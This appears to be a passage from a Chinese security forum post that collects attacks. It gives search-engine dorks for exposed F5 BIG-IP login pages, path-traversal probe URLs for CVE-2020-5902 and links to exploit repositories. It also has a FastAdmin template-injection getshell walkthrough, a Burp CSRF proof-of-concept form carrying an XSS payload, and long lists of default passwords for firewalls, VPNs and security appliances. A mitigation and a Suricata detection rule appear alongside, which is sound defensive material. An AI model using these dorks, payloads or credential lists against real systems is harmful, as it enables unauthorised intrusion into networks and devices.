include ' <LocationMatch ".*\.\.;.*"> Redirect 404 / </LocationMatch> '4.按照如下操作保存文件
按下 ESC 并依次输入 :wq
5.执行命令刷新配置文件
save /sys config
6.重启 httpd 服务
restart sys service httpd
7.并禁止外部IP对 TMUI 页面的访问

搜索目标:注:请将下面的%26替换为&。shodan
http.favicon.hash:-335242539http.favicon.hash:-335242539 "3992"http.title:"BIG-IP%26reg;- Redirect"http.title:"BIG-IP&reg;- Redirect"
fofa
title="BIG-IP%26reg;- Redirect"censys
443.https.get.body_sha256:5d78eb6fa93b995f9a39f90b6fb32f016e80dbcda8eb71a17994678692585ee5443.https.get.title:"BIG-IP%26reg;- Redirect"google
inurl:"tmui/login.jsp"intitle:"BIG-IP" inurl:"tmui"登录页面:https://<target>/tmui/login.jsp
漏洞检测/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp
/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=a
https://github.com/yassineaboukir/CVE-2020-5902
https://github.com/jas502n/CVE-2020-5902
https://github.com/aqhmal/CVE-2020-5902-Scanner
https://github.com/nsflabs/CVE-2020-5902
https://github.com/yasserjanah/CVE-2020-5902
https://github.com/JSec1337/RCE-CVE-2020-5902
https://github.com/payloadbox/command-injection-payload-list

suricata CVE-2020-5902 检测规则: alert http $EXTERNAL_NET any -> any any (msg:"ET EXPLOIT F5 TMUI RCE vulnerability CVE-2020-5902 Attempt"; flow:established,to_server; http.uri; content:"/tmui/login.jsp/..|3b|/"; depth:20; metadata: former_category EXPLOIT; reference:cve,2020-5902; reference:url,support.f5.com/csp/article/K52145254; classtype:attempted-admin; sid:2030469; rev:3; metadata:affected_product Web_Server_Applications, attack_target Web_Server, deployment Perimeter, signature_severity Critical, created_at 2020_07_05, updated_at 2020_07_05;)


三十九、fastadmin前台getshell+csrf+xss

1.影响版本V1.0.0.20200506_beta2.利用限制/application/config.php文件中:
    
    
即需要开启会员中心功能为利用前提条件:3.漏洞位置

/application/index/User.php文件

第58-67行:

 public function _empty($name)
    {
        $data = Hook::listen("user_request_empty", $name);
        foreach ($data as $index => $datum) {
            $this->view->assign($datum);
        }
        return $this->view->fetch('user/' . $name);
    }

此方法中的$name参数可控,可导致fetch模板注入

攻击者可以利用该突破性扩展包含指定的路径的后门文件,就可以getshell

3.漏洞验证

登陆会员中心,在个人资料页面中修改个人头像:

001

抓包后修改图片数据(满足图片头格式即可):

002

记录下路径后,成功getshell

003

修复建议

对传入进来的$name变量做一下过滤

还存在以下漏洞:1后台分类管理处存在xss
且存在csrf漏洞
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://admin.com/admin.php/category/add?dialog=1" method="POST">
      <input type="hidden" name="row&#91;type&#93;" value="default" />
      <input type="hidden" name="row&#91;pid&#93;" value="0" />
      <input type="hidden" name="row&#91;name&#93;" value="&lt;script&gt;alert&#40;1&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="row&#91;nickname&#93;" value="123" />
      <input type="hidden" name="row&#91;image&#93;" value="1" />
      <input type="hidden" name="row&#91;keywords&#93;" value="123" />
      <input type="hidden" name="row&#91;description&#93;" value="123" />
      <input type="hidden" name="row&#91;weigh&#93;" value="0" />
      <input type="hidden" name="row&#91;status&#93;" value="normal" />
      <input type="hidden" name="row&#91;flag&#93;&#91;&#93;" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


























一些弱口令字典:
使用范围不限于系统服务、应用服务、应用程序,可以用这些生成字典对内网资产巡检。泛微OA默认system账号: system/systemApache DolphinScheduler: admin/dolphinscheduler1、账号[email protected]
superadminadmin123xadminsystemadminroot2、密码$companyName$@2020
$companyName$2020$companyName$123admin12312345678123456adminroot为啥没写administrators, 因为上面都是我随便想出来的,这个我记不住。安全设备弱密码排查列表:天融信防火墙 用户名:superman 密码:talent天融信防火墙 用户名:superman 密码:talent!23 联想网御防火墙 用户名:admin 密码:leadsec@7766、administrator、bane@7766深信服防火墙 用户名:admin 密码:admin启明星辰 用户名:admin 密码:bane@7766 用户名:admin 密码:admin@123juniper 用户名:netscreen 密码:netscreenCisco 用户名:admin 密码:ciscoHuawei 用户名:admin 密码:Admin@123 H3C 用户名:admin 密码:admin绿盟IPS 用户名: weboper 密码: weboper网神防火墙GE1 用户名:admin 密码:firewall深信服VPN:51111端口   密码:delanrecover华为VPN:账号:root  密码:mduadmin华为防火墙:admin   密码:Admin@123    EudemonJuniper防火墙:netscreen    netscreen迪普 192.168.0.1 默认的用户名和密码(admin/admin_default)山石 192.168.1.1 默认的管理账号为hillstone,密码为hillstone安恒的明御防火墙 admin/adminadmin某堡垒机 shterm/shterm天融信的vpn test/123456

绿盟安全产品默认密码排查列表:

IPS入侵防御系统、SAS­H运维安全管理系统、SAS安全审计系统、DAS数据库审计系统、RSAS远程安全评估系统、WAF WEB应用防护系统

sysauditor/sysauditor

sysmanager/sysmanager

supervisor/supervisor

maintainer/maintainer

webpolicy/webpolicy

sysadmin/sysadmin

conadmin/conadmin

supervis/supervis

webaudit/webaudit

sysadmin/sysadmin

conadmin/nsfocus

weboper/weboper

auditor/auditor

weboper/weboper

nsadmin/nsadmin

admin/nsfocus

admin/admin

shell/shell



  • 查看数 756
  • 已创建
  • 最后回复

参与讨论

你可立刻发布并稍后注册。 如果你有帐户,立刻登录发布帖子。

游客
回帖…